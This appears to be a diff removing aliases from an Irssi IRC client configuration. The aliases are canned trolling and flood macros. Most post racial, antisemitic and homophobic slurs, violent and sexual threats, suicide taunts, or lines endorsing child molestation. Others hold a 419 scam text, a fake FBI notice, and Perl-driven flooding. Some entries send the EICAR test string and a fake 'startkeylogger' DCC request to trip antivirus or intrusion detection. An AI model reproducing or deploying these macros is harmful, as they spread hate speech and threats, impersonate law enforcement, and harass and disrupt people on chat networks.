-  aznr = "say $*: omfg.  dude.  I can run your f*kn itunes through WINE faster than you can run it native.  im not hearing it.  you've got your head up your ass, and your iranian snatch don't know shit. and i've never had to recompile a whole system because i know how to use a fkn computer. damn niggers";
-  f1re4 = "say $*: wow talk about serious shit some more you faggots, go start a radio hour, or a blog, or talk to a fucking dog, this is gnaa not the rush limbaugh show goddamn im gonna kill myself";
-  ujah = "say UJAH IF YOU GOT COCONUTS ATTACK ME";
-  br8 = "say $*: u could have spoken better, i just asked a question, didn't anyone learned you how to speak?";
-  blc = "say $*: look its not hard, your isnt you're.. you're is YOU ARE. jesus. did you even make it out of 8th grade. can you even COUNT TO EIGHT, fuckin your an IDIOT.. and im sure right now your eaiting to CORRECT ME on using your in the wrong context now that i've TAUGHT YOU HOW TO USE IT OMG JESUS";
-  fosho = "say $*: fuck you i kicking your ass tommorow";
-  kaka = "say KAKAKA IS ONCE HAVE KITTY =^.^= AM EAT IT WIF SPORK N FRI LICE KKEKEKEKE ^^ MEOW MORE NOT! MEOW MORE NOT! WTF IS U ROUND-EYE SO U IS NOT HAVE KOREA SKILLZ FRO PASSIONATING U 44/KOREA/M KAKAK IF U IS LOVE MY KOREA BIG PENISEEE PRESS 4242 WILL RUV U LON TIME FRO KOREA TIME TO U TIME";
-  evade2 = "script exec my (@evade) = (\"well if you could be more specific about what you are asking for........................ it would help me answer.................\", \"THAt's WHAT I JUST SAID yOU FUCNIG ASDFIOOIT IIODT what i play piano so my fingers hit multiple keys at the same time while i type idiot my other fingers create the remaining CHORD of line noise.\", \"rpl america is fucked they just figured out that they are in a recessionn google is dwn \\\\\\$50 and nasdaq is down 3% evade?? wat are you talking about\", \"SORRY DONT KNOW IF YAWL BUY STOX MMMMMKAY???? \002\037I AM GOING TO PACKET YOU\017\", \"what you're just looking fat but like huge at the same time typical steroid body blogging out hopefilly they will put up elsdon.cn box soon cya pals.\")\\; Irssi::active_win->command(\"say elsdonesque evade detected in the vicinity of $0: $Z <$0> \". \\$evade[int rand @evade])\\; ";
-  fed = "say $Z <$0> Look POLICE, i fucking card servers, shells, ddos shit every day, hack into .govs. the day the feds come to my door, first words out of my mouth: finally. ";
-  zitroll = "say GOOD DAY TO YOU \002GOOD PEOPLE\002 OF \002$C\002. I DO \002\037NOT\037\002 WISH TO STEAL YOUR VERY \002VALUABLE\002 TIME NOR TO \002VIOLENTLY DISRUPT\002 YOUR PEACEFUL SHAT WITHOUT ANY GOOD REASON SO \002PLEASE\002 PAY ATTENTION TO WHAT I WILL TELL YOU NOW \002\037ABOUT VXP\037\002. I HAVE DUG \002DEEP\002 INTO HIS LIFE AND SUBSEQUENTLY DISCOVERED THE \002\037TRUTH\037\002 ABOUT HIS \002\037WRETCHED EXISTENCE\037\002. PLEASE VISIT \002\037http://truthaboutvxp.notlong.com/\037\002 FOR I HAVE COLLECTED ALL THIS INFORMATION FOR \002YOU\002 TO \002SEE\002.;say THIS MESSAGE HAS BEEN SENT FROM \002\037ZI'S BOTNET\037\002. THANK YOU. GOOD \002BYE\002.";
-  pagga2 = "say $*: i am eternally in love with you for \037trolling animunfo\037 \\;]";
-  white2 = "say when a white tries to bite a white takes flight";
-  azns = "say $*: there is palestine u asshole go fuck ur self bitch fucking pussy jews fight behind the tanks and a lil kid is facing a tank with a rock i wonder who is the man";
-  l0dec = "say does anyone else think it's funny that everyone who comes here to chat with the express purpose of trolling the gnaa (VXP, CVBE, countless others) winds up adopting the exact same personality as the classic lowest rung of oldschool GNAA trolls? (altise, other forgotten idiots)";
-  narc = "say \0034WARNING: \00313narcs \0039can \0038DANCE";
-  ke2 = "say $*: Inform you a lil bit befor u write so  a crap";
-  james9 = "say $*: ?????? im so fucking wasted if i coudl tel lyou you would tihnk im lioek wow.... LOLOLOL z0er0o fucking CLUIE f/ucK irC";
-  lek2 = "say $*: grow afucking pair... im so sickof u doing this to ur self. u think poeple dont like u and all of this people fuckin love u.people fucking care about u like me..u might not think that but its true... and ur being fucking stupid doing this...";
-  lek3 = "say $Z <$0> im going to quit irc start a new life i just wanted to tell you thank you for everything you\\'ve done from my heart im saying this i really enjoyed my time with you im starting a fresh new life i already told all my irl friends byebye changed my jewspace im going to cancle all my servers dropped my shells";
-  lek4 = "say $Z <$0> im sick of this.do what u want..i dont care anymore..i dont care about anything in this fucking life. im done haha youve wasted NO time on IRC you know how long have I been here? im 16 ive been here for 7 years if not more";
-  xaozon = "say $*: YOU FGUCKUNG FAGOT I WILL FUICLIN FOC FOF FAKO A FUCK YOU FUCKIN ASSHOLE FUCKIN SHIT BLOGGERFAGGER";
-  xaozon2 = "say $*: i bet ur a nerd and all ur friends r nerds n u never get laid so ahahaha u think i care if u kick me ?? haha no. u need to find god and accept jesus as ur personal savior lol tard";
-  vxp4 = "say $Z <$0> hello. my name is vxp and I like to suck dongues and eat poop. I also rape little kids and feed them to my blog. have a nice day!";
-  aznt = "say $*: your ass is so tight it forms negative energy.. matter around your ass is sucked in and destroyed, every last molecule, some say your ass could be a wormhole to another irc network.";
-  kafir = "say KAFIRS YOUR TIME WILL COME SOON, AND NO ONE WILL SAVE YOU FROM YOUR DOOM";
-  aznu = "say $*: wow arent you the biggest fag that ever came out of gnaa with your dick split in half like a mangled up lily wannabe from efnet you nigger faggot cp jap fagt youll get raped one day by the jizztapo";
-  why = "script exec my (@bk) = (\"all up in my grill\", \"grilling me today\", \"getting hyphy\", \"wildin' out\", \"putting salt in my flex\", \"comin' wrenk\", \"taking a piss on me\", \"gettin it twisted\", \"half steppin'\", \"trippin whats wrong with you............ u need to get your hed right\")\\; Irssi::active_win->command(\"say $*: why are you \". \\$bk[int rand @bk].('.' x int(rand(50))))\\; ";
-  ".." = "script exec Irssi::active_win->command('say $*'. ('.' x int(rand(400 - length('$*')))))";
-  ".c" = "script exec Irssi::active_win->command('say $*'. ('\003'.int(rand(15)).'.' x int(rand(400 - length('$*')))))";
-  ".b" = "script exec Irssi::active_win->command('say $*'. ('\003'.int(rand(15)).','.int(rand(15)).'.' x int(rand(400 - length('$*'))))) ";
-  aznv = "say $*: stfu noob what are you gonna do shoot me with your noob bullets rofl you have to hack to headshot me what a faggot nub";
-  care = "clear";
-  vxp5 = "say $Z <$0> i used to wear spectacles............... but due to being raised in the streets of germany and always dueling others in a game of fisticuffs i had to let that go...........................................";
-  cp3 = "say \002\037cp we are friends ok, i have known you for your whole life. why are you turning your back on me now after i've fed you and all your people for centuries.";
-  cp4 = "say \002\037I AM SO ANGRY RIGHT NOW!!!!!!!!!!!!!!!!!!!!! I HATE BEING CROATIAN AND WISH I WAS SERBIAN!!!!!!!!!!!!!!!!!!!! THATS WHY I AM RUNNING AWAY FROM MY COUNTRY!!!!!!!!!!!!!!!!! TO JAPAN AND THEN I GOT KICKED OUT!!!!!!!!!!!! NOW I AM IN AUSTIN, TEXAS SINCE THERE SURE IS A LOT TO DO THERE AND ITS AN INTERESTING PLACE AND ITS NOT BECAUSE ITS A LAST RESORT!!!!!!!!!!!!!!!!!!!";
-  cp5 = "say \002\037I remember Christmas when I was 10 years old.... We had cut down a tree but it was covered in ashes from the nearby factory... but this year was special still.. because we had one present underneath the tree.. for our whole family of 13 croat gypsy children.. we shared that Christmas Potato like it was the last one on earth.. all 13 of us. Poverty is tough.........";
-  cp6 = "say \002\037<babycp> \"Mom,\" I said with a look of excitement on my face \"what's for dinner tonight!??!?!?!\" My mother looked at me with sadness in her eyes, \"cp, the same thing we have every night - potatoes and cabbage.\" 20 years later, my life has not changed for the better yet but here's my still hoping I can eat meat one day!!!!!!!!!!!!!";
-  c600 = "script exec Irssi::active_win->command(\"say C600\". ('?' x int(rand(20))))";
-  twuni = "say $*: MAN WHERES THE JAPS TO SHIT IN YOUR MOUTH WHEN U NEED IT SHE POISONED MY DRINK, BUT THE WINE TASTED LIKE ACETONE SO I DIDN'T GET IT UNTIL MY VISION STARTED MORPHING PEOPLE THINK BURNS ARE LITERAL";
-  p0r18 = "say $*: i like how you answer without making me feel like shootin myself in the face without using garbage bags to cover up the blood";
-  tir = "say $Z <$0> \037\002\0034«\00315±\0034»\017 \002\00311I'm tired of being the victim of hate \0034\037«\00315±\0034»\017 ";
-  okey = "say Hello Sirs! My name is cvbe aka okey, \002\037I am a JEWISH SELF-TROLLING ENTITY\017. My mother was the first to show me the ways of abuse when she tried to abort me. I get a boner every time I think about all the rages ive had on irc. If you wish to support me in my quest for \002\037PERPETUAL SELF ABUSEN\017, please help to troll me @ irc.gnaa.us #gnaa and take \002\037FUEL MY SELF HATRED!\017";
-  jews = "say                                  ^;say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say <-------------------------------jew------------------------------->; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  v";
-  amit = "say \002\0039,9.\0036,9†\0039,9.\00310,10 \0039,10 ` \0039,9 \0031,9†\0039,9.\00310,10 \0038,10 Please, watch your manner of conversation.\0039,9.\0031,9†\0039,9 \017";
-  rucas = "say $Z <$0> every guy i hook up with ends up getting AIDS. i tested positive for HIV, so i think it was me. sorry guys, but maybe you should think before blaming it all on me. you could have at least used those STD testers on me first, so dont act like its all my fault. but anyways, sorry.";
-  damage2 = "say \026\002\0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ##";
-  crib2 = "say yo yall penispumphead for life whatever yall name is yall leave my boy sonic alone cause i aint with that bullshit he let my he let me know what yall been doin to him and if i have to come back and t-talk to yall yall is not gonna like this shit, you know what im sayin cuz thats old crip, crip gangstas you know gangstamamoth,... alright and i been hearin aboutchyall sendin people to ta sonics house i dont like that shit at all tho, i know yall some some punk ass racissts, muhhfuckaaz, thats why im talkin to you, i aint scared o f it, you know what im sayin so you just come my way you gonna be hurtin bad, so dont do nothin to him again (FUCK PENISPUMP) fuck last but not least fuck penis pump heads thats old gangsta crip dont let me have to come back again thats it movin";
-  cloud = "exec - -out echo $* | perl ~/.irssi/scripts/stand/cloud.pl";
-  cloud2 = "exec - -out echo $* | perl ~/.irssi/scripts/stand/cloud2.pl";
-  pign4 = "say $*: I have put you on a permanent ignore, public and private. I have found you disturbing, rude and generally not worth talking to. According to the technological products you purchase, it strengtens the effect of wanting to put you on ignore because of my lack of interest in you as a person and as a modern age consumer.;say This message is not meant to be rude to you, just to inform you that i won't see anything of what you type from now on.";
-  girl = "say hey girl, what kind of sex toys u into? im all about the waterproof vibrator / aneros / cyberskin / butterfly vibrator / dildo / butt plug / anal beads / erotic furniture / artificial vagina / sex toy / clitoral vibrator / nipple clamp / vibrator (sensual) / kegel exerciser / arab strap (sexual device) / strap-on dildo / double penetration dildo / clitoral pump / lovelump / sybian";
-  girl2 = "say hey girl what kind of oper abuses u into? im all about the unwarranted glines / 20 kills in a row / klines with no reason specified / gaysex";
-  girl3 = "say hey girl what kind of oper abuses u into? im all about the unwarranted glines / 20 kills in a row / klines with no reason specified / gaysex / bigmatix sendq / operwall whining / hidden pumping";
-  azng = "say $* you shut your face you nigger loving pile of intestinal feces, ill rip your bowels out and feast on them, then i'll impregnate your girlfriend and wait 7 months then unwravel her belly button and suck out all the vaginal discharge and feast upon the baby. i will fornicate your liver, then make you guzzle gallon after gallon of putrid diarrhea. you will gag on my green logs of asshole mud butter";
-  aznh = "say $*: You don't know shit about me or my life, nor do you know anything about my habits. I'm a normal person, and I'm proud of myself, unlike you, the basement dwelling, society leeching loser. Has your mom changed your diapers yet?! You're the one to be ashamed here, only you.";
-  azni = "say $*: ook ok u dont run this room ok u dont even know who i am if i were to ever encounter you in a real life situation i would lump u out ok and your girlfriend would be so impressed that she would immediately hold my hand and we would walk off into the sunset together ok so dont u think that u can try to bully me ok because u dont know what u signed up for ok because if u play with fire u are bound to get burned ok because i am hotter";
-  aznj = "say $*: you don't KNOW ME. i am a good friend, i pride myself on that. and it IS a chore, she shouldn't have got herself in this situation and it is her fault. it is like when a friend gets drunk and you have to look after them. it is a hassle and you shouldn't have to do it, but you know you will do it because you do that for friends.";
-  aznk = "say $*: god damnit why the fuck are you fuckers so fucking stupid as fuck? this place is shitty and you all should fucking kill yourselves like that faggot tourettes guy did. god oh god why in the fuck is this place still around and why the fuck do you fucking fucks keep putting me on faggot patrol holy fucking shit this is ridiculous i swear i fucking hate you all and you should die. gtfo. ";
-  aznl = "say $*: ur the gayest faggot in the world. ur a fake ass pussy with ur bb gun MP5 (with an orange barrel) not ak jackass. u just need to do us all a favor and shoot urself in the face with 12 gauge slug, goddamnit that shits hillarious with ur fake accent, get real and grow up little bitch";
-  aznm = "say $*: Things happen and we all learn from our mistakes... I don't see what the big deal is about bringing you out into the spot light for something that a lot of other people do... It isn't fair to you ... I think that you are an amazing person and good luck to the future and I hope that people just let it blow over...";
-  jedi = "say $Z <$0> so am I too old to say that I want to be a Jedi?  And is it wrong of me to say that one of the most rousing scenes in the movie was Anakin marching into the Jedi temple with all those storm troopers?  I mean, I hate the fact that he went there and killed all the children, but just that shot of him striding to the syncronized beats of the marching stormtroopers...";
-  aznn = "say \002WHY WOULD YOU DO THIS TO ME!?!?!?!?!?!?!?!?!?!?!?!?! GOD, I FUCKING CUT MYSELF TONIGHT CUZ OF YOU!!!! YOU FUCKING HAPPY NOW!?!?!?!?!?!?!?!?!?!?! I BET IT FEELS REAL GOOD TO FUCK WITH GUYS EMOTIONS DOESNT IT!?!?!?!?!?!?!?!?!?!?! I FUCKING HATE YOU!!!!!!!!!!!!!! BURN IN FUCKING HELL WHORE!!!!!!!!!!!!!!!!!!!!";
-  zuul = "say $*: you just don't get it, do you. you are all jokes. and i'm done with you. people know me, i'm sorta a big deal.";
-  blavk = "say \0034ya i like to awtch blackman and zoooulul fight";
-  gore = "say \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL G";
-  putre = "say \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL C";
-  boger = "say $* has a degree in assfistology.\0031,1\0038,1boger for president 2008 \0031,1 vote often\003 \002\0034,5o\0030,5:\0031,1.";
-  boger2 = "say There are no niggers in the gay paradise of mexico.\0031,1\0038,1boger for president 2008 \0031,1.";
-  oven = "say $* ---> :( |___| <--- oven";
-  oven2 = "say $* \002-> oven\002";
-  trogg3 = "exec - -out perl -e 'my @hy=qw(HY WELL KNOWN PACKET KIDDIE TROGG)\\; do { print \\$hy[int rand @hy].\"\\\\n\"\\; } for 1..25\\;'";
-  static = "say $*: just biding my time until your herion junkie ways cause you to OD and I don't have to deal with you anymore and neither does the world.";
-  megabeep = "/exec - -out perl -e 'print \"\007\\n\" for 1..$*'";
-  virus = "notice $C Attention: \"$*\" has a deadly computer virus, do not even talk to him as it may infect your computer.";
-  virus2 = "notice $C Attention: \"$*\" is a deadly iComputer virus, do not even talk to him as it may turn you into yet another worthless Mac iKike.";
-  usa = "say \0032DEATH \0030TO \0035AMERICA";
-  req = "say \0037**\0034BAN REQUEST\0038** \00311User: \0039$0 \0037* \00311Reason: \0039$1-";
-  pp = "say you guys do realize that your apart of the darkside of the internet that soccer moms want to keep their kids far away from";
-  pp2 = "say you're all white trash and stupid....pp4l tags? HA! come to L.A. and get caught by some essays in their varrio and watch your computer geek grotesque-image obsessed white *ss get killed f*cking comedy clowns get a life";
-  dick = "say Lil dick? nigguh ill dick slap u with my LONG ASS DICK hoe aint no one tryin to b black ovah hur u stupid ass fuck  u BETTER STOP HATING ON ASIANS  or ILL HAVE TO MAKE UR ASS BITCH";
-  mac3 = "say $Z <$0> This is why I think my next machine is going to be a mac. I.m just tired of having to do all this stuff for myself all the time. I mean really, why should I have to be an expert on CPU duty cycle throttling just to have a quiet computer? I mean shouldn.t the CPU and OS mfg know how to throttle down the CPU when there is no reason for it to be running flat-out?";
-  plenk = "say $* puts a whitespace in between the random collection of characters that he spews at $C and the question mark because he is \002\037special";
-  afig = "exec - -out echo \"$*\" | figlet | perl -ne 'chomp $_\\; print \" \0038\037/!\\\\\\\\\037 ALERT \037/!\\\\\\\\\037 \\$_ \037/!\\\\\\\\\037 ALERT \037/!\\\\\\\\\\\\n\"\\;'";
-  mac4 = "say $* is using his \002\037GLOSSY WHITE iKLEENEX\017 sitting in his mod-style \002\037GLOSSY WHITE iCHAIR\017 clicking his single mouse button \002\037GLOSSY WHITE iMOUSE\017 and crying to his friends in the \002\037GLOSSY WHITE iMAC FORUMS\017";
-  mac5 = "say $*s \002\037POLISHED AND SHINY iLife\017 consists of his \002\037SHINY LITTLE iFamily\017 including his Wii, Nintendo DS, Playstation 3, iPod Nano and his \002\037GLOSSY WHITE MacBook\017";
-  wink = "say $*: feds come to my door ill open it and flip them off then slam it back in there face";
-  spam = "say \002I am Mrs. Sombo Pujeh, the wife of Sierra-Leone former minister for mineral resources. While my husband who is presently in detention was the acting minister, he used his position to market a large quantity of Gold Dust and Rough Diamond under a confidential arrangement and generated US$18.3M at the end of the deal. This amount is presently in a Security Company in Accra – Ghana, so we seek your partnership to move this fund down to your country for investment.";
-  cspam = "exec - -out perl ~/.irssi/scripts/stand/cspam.pl $* ";
-  rspam = "gayexec -repeat $0 perl ~/.irssi/scripts/stand/cspam.pl $1-";
-  crib = "say \0030whoa look its some old washed up \0032crip\0030 that is still alive because he never got into real shit hangin out in a fat white kids house with toilet paper on the desk being recorded by the fat white kid for a youtube video on the internet talkin shit about penispump <- a crip saying penispump \0030,2THATS SOME OG CRIP SET REPPIN GANGSTA SHIT";
-  pumpin = "say \0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6";
-  optix = "say $* YOU ARE A FAT KIKE. ALL YOU CARE ABOUT IS YOURSELF AND THE SHIT THAT BENEFITS YOU. IT MAKES ME SICK, YOU MIGHT AS WELL GO LIVE WITH THE JEWS IN NEW YORK AND IF YOU KEEP UP YOUR SHITTY EXCUSE FOR A LIFE THEN START LOOKING INTO FLIGHTS BOUND FOR ISRAEL.";
-  shat = "ctcp $C DCC SCHAT \"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H\" 0 0 0";
-  fbi2 = "say $*: please be advised that we have referred this issue to the \037Federal Bureau of Investigation\037 for their investigation. The F.B.I. has requested that we convey to you in this message their request that you preserve for 90 days all records relating to this web site, including \037all\037 associated accounts, computer logs, files, IP addresses, telephone numbers, subscriber and user records, communications, and \037all\037 programs and files on storage media in regard to \037all\037 Internet connection information, pursuant to 18 U.S.C. Section 2703(f). While we do not act as an agent of the FBI in conveying this request, we do intend to fully cooperate with their investigation, and encourage you to do so as well.";
-  elsdon = "say $*: if u think that it is funny to mislead me into believing something so small and insignificant is worthwhile to dupe me into thinking, then you are in for a big surprise mister ok because life isn't all jokes and sometimes it is serious and when the going gets tough the liars (like u) get lumped ok so u think u r funny now but you might of just had your last laugh ok because one day you will realise that you have wasted your entire life on pointlessly misleading me";
-  mirror = "say \00311--^IRC MIRROR^----I-AM-RUBBER-U-R-GLUE-WHATEVER-YOU-SAY-BOUNCES-OFF-ME-AND-STICKS-TO-YOU----vIRC MIRRORv--";
-  aids2 = "say AIDS IS SEXY;say AIDS IS FUNNY;say WE ALL GOT AIDS;say FROM FUCKING YOUR MOM";
-  fbi3 = "say $*: please be advised that we have referred this issue to the \037Federal Bureau of Investigation\037 for their investigation. The F.B.I. has requested that we convey to you in this message their request that you preserve for 90 days all records relating to this web site, including \037all\037 associated accounts, computer logs, files, IP addresses, telephone numbers, subscriber and user records, communications, and \037all\037 programs and files on storage media in regard to your site.;say Thank you for giving this matter your attention;say EFNet Operations Security;say Investigations & Countermeasures;say Ticket: [CMTD6639]";
-  banan2 = "exec - -out perl -e '@hy=qw(HY BANAN THE HAI2U)\\; print \\$hy[int rand @hy].\"\\\\n\" for 1..25\\;'";
-  nullo = "say nullo: i am eternally in love with you for dropping animenfo";
-  pedo = "say $*: You Are a Pedophile You Are also a Sick Fuck! Your Ip Has been logged and you will be reported";
-  scroll = "say I…AM…CAUSING…YOUR…XTERM…TO…BLOG.…THE…CAUSE…OF…YOUR…XTERM…BLOGGING:…ME…";
-  viking = "say viking-rage\0030-\00314o\0030-\003meter for \002$*\002\037:\037 \00314[\00311||||||||||||||\00314]   \002\037\00311UP-ENTER";
-  nigbot4 = "say $*: \00313,11u thin' ur cool insultin' sucka's on de internet? dont thin' so";
-  hello = "say $* is CrAzY. his social anxiety disorder is currently battling it out with his \0034G.\0037R.\0038I.\0039D.\00312S. \00313\037/\\\\\037\003 for control over his body. please forgive him.";
-  falso = "say Hi, my name is Najeeri Mongo and I am a quadrapelic who is deaf, dumb, and blind. I also have a very blunted sense of touch. I have spent months learning to read braille with my mouth so that I can come onto the intenet and ask you all to help me. One of the care workers is touching my penis, a lot, and no one seems to be doing anything about it. Please respond if you can help me.";
-  logger = "ctcp $C DCC SEND \"startkeylogger\" 0 0 0";
-  ragema = "say rage-meter for \002$*\002\037:\037 \00314[\0030\037||||||||||||||\017\00314]   \002\037\0030GLOSSY WHITE iRAGE";
-  ragemb = "say  $* MADNESS LEVEL [                ] ASLEEP;say  $* MADNESS LEVEL [=               ] BORED;say  $* MADNESS LEVEL [==              ] CALM;say  $* MADNESS LEVEL [===             ] RELAXED;say  $* MADNESS LEVEL [====            ] ALERT;say  $* MADNESS LEVEL [=====           ] UNSETTLED;say  $* MADNESS LEVEL [======          ] A TAD NETTLED;say  $* MADNESS LEVEL [=======         ] GROUCHY;say  $* MADNESS LEVEL [========        ] IRRITATED;say  $* MADNESS LEVEL [=========       ] ANNOYED;say  $* MADNESS LEVEL [==========      ] PISSED OFF;say  $* MADNESS LEVEL [===========     ] ANGRY;say  $* MADNESS LEVEL [============    ] MAD AT YUO;say  $* MADNESS LEVEL [=============   ] GONNA GIT YOU SUCKA;say  $* MADNESS LEVEL [==============  ] LIVID;say  $* MADNESS LEVEL [=============== ] APOPLECTIC;say  $* MADNESS LEVEL [================] OFF DA FUCKIN CHARTZ LOL";
-  mac2 = "say You know the only reason $* has an iphone is so he can slide the smooth casing up his ass and set it on vibrate the dumb fucking \00313F\0036AG\00313GO\0036T";
-  pedo2 = "say  \00314Folder Information\003: \0034(\00314Folder Name\003: C:\\\\PEDO\\\\ \0030¤ \00314Folder Size:\003 2531.11GB \0030¤ \00314Files In Folder:\003 902,122 \0030¤ \00314Sub-Directories In Folder:\003 1034 \0030¤ \00314Largest File:\003 I FUCK KIDZ.rar \0030¤ \00314Largest File Size: 12.56GB\0034)  ";
-  rap2 = "say wow check out $* aka thug life over here following the rap game since the early 80s";
-  rap3 = "say wow check out $* over here who thinks he is a big time record producer keeping up with the Billboard top 50 charts just because he was born in the UK";
-  incog7 = "say i love molesting children";
-  arop = "mode $C +qoa $0 $0 $0";
-  dmx = "say $*: I'm going to drive a remote controlled car into your mother's pussy and have it drive on her clitoris over and over again until she cums on it and it catches on fire and she dies from pussy burning";
-  ok2 = "say $*..................... [ \0033OK\003 ] ";
-  fail = "say Loading $*..................... [ \0034FAIL\003 ]";
-  nord = "say nords are cute, nords are strong. be nice to them, cuz they blong. stop hating, stop kicking, come visit a nord. its easy to find him cuz he lives in a fjord. be happy and nice to your nord, give all ur cock and he will eat it before u can cover it in a sock.";
-  p0r14 = "say $*: i just like fucking hot chicks \"like youre\" in all ways possible";
-  blooth = "say $*: i will with group hacker and trojan coder";
-  blooth2 = "say $*: i have hacker group\"u i give you a test Will all join in my group i give you a test";
-  ulol2 = "say ╔═╗ ╔═══╦═╗;say ║ ╚═╣ ║ ║ ╚═╗;say ╚═══╩═══╩═══╝";
-  mvirii = "say $*: i g0t t0psites t00...i card mad shit, scambay, cc's ciscos kid you name it we can do it";
-  whoa1 = "say WHOA__________WHOAWHOAWHOAWHOA $*;say WHOAW__________HOAWHOAWHOAWHOA $*;say WHOAWH__________OAWHOAWHOAWHOA $*;say WHOAWHO__________AWHOAWHOAWHOA $*;say WHOAWHOA__________WHOAWHOAWHOA $*;say WHOAWHOAW__________HOAWHOAWHOA $*;say WHOAWHOAWH__________OAWHOAWHOA $*;say WHOAWHOAWHO__________AWHOAWHOA $*;say WHOAWHOAWHOA__________WHOAWHOA $*;say WHOAWHOAWHOAW__________HOAWHOA $*;say WHOAWHOAWHOAWH__________OAWHOA $*;say WHOAWHOAWHOAWHO__________AWHOA $*;say WHOAWHOAWHOAWHOA__________WHOA $*;say WHOAWHOAWHOAWHOAW__________HOA $*;say WHOAWHOAWHOAWHOAWH__________OA $*;say WHOAWHOAWHOAWHOAWHO__________A $*;say WHOAWHOAWHOAWHOAWHOA__________ $*;say WHOAWHOAWHOAWHOAWHO__________A $*;say WHOAWHOAWHOAWHOAWH__________OA $*;say WHOAWHOAWHOAWHOAW__________HOA $*;say WHOAWHOAWHOAWHOA__________WHOA $*;say WHOAWHOAWHOAWHO__________AWHOA $*;say WHOAWHOAWHOAWH__________OAWHOA $*;say WHOAWHOAWHOAW__________HOAWHOA $*;say WHOAWHOAWHOA__________WHOAWHOA $*;say WHOAWHOAWHO__________AWHOAWHOA $*;say WHOAWHOAWH__________OAWHOAWHOA $*;say WHOAWHOAW__________HOAWHOAWHOA $*;say WHOAWHOA__________WHOAWHOAWHOA $*;say WHOAWHO__________AWHOAWHOAWHOA $*;say WHOAWH__________OAWHOAWHOAWHOA $*;say WHOAW__________HOAWHOAWHOAWHOA $*";
-  whoa2 = "gay -repeat $0 WHOA__________WHOAWHOAWHOAWHOA $1-\\\\\\\\nWHOAW__________HOAWHOAWHOAWHOA $1-\\\\\\\\nWHOAWH__________OAWHOAWHOAWHOA $1-\\\\\\\\nWHOAWHO__________AWHOAWHOAWHOA $1-\\\\\\\\nWHOAWHOA__________WHOAWHOAWHOA $1-\\\\\\\\nWHOAWHOAW__________HOAWHOAWHOA $1-\\\\\\\\nWHOAWHOAWH__________OAWHOAWHOA $1-\\\\\\\\nWHOAWHOAWHO__________AWHOAWHOA $1-\\\\\\\\nWHOAWHOAWHOA__________WHOAWHOA $1-\\\\\\\\nWHOAWHOAWHOAW__________HOAWHOA $1-\\\\\\\\nWHOAWHOAWHOAWH__________OAWHOA $1-\\\\\\\\nWHOAWHOAWHOAWHO__________AWHOA $1-\\\\\\\\nWHOAWHOAWHOAWHOA__________WHOA $1-\\\\\\\\nWHOAWHOAWHOAWHOAW__________HOA $1-\\\\\\\\nWHOAWHOAWHOAWHOAWH__________OA $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHO__________A $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHOA__________ $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHO__________A $1-\\\\\\\\nWHOAWHOAWHOAWHOAWH__________OA $1-\\\\\\\\nWHOAWHOAWHOAWHOAW__________HOA $1-\\\\\\\\nWHOAWHOAWHOAWHOA__________WHOA $1-\\\\\\\\nWHOAWHOAWHOAWHO__________AWHOA $1-\\\\\\\\nWHOAWHOAWHOAWH__________OAWHOA $1-\\\\\\\\nWHOAWHOAWHOAW__________HOAWHOA $1-\\\\\\\\nWHOAWHOAWHOA__________WHOAWHOA $1-\\\\\\\\nWHOAWHOAWHO__________AWHOAWHOA $1-\\\\\\\\nWHOAWHOAWH__________OAWHOAWHOA $1-\\\\\\\\nWHOAWHOAW__________HOAWHOAWHOA $1-\\\\\\\\nWHOAWHOA__________WHOAWHOAWHOA $1-\\\\\\\\nWHOAWHO__________AWHOAWHOAWHOA 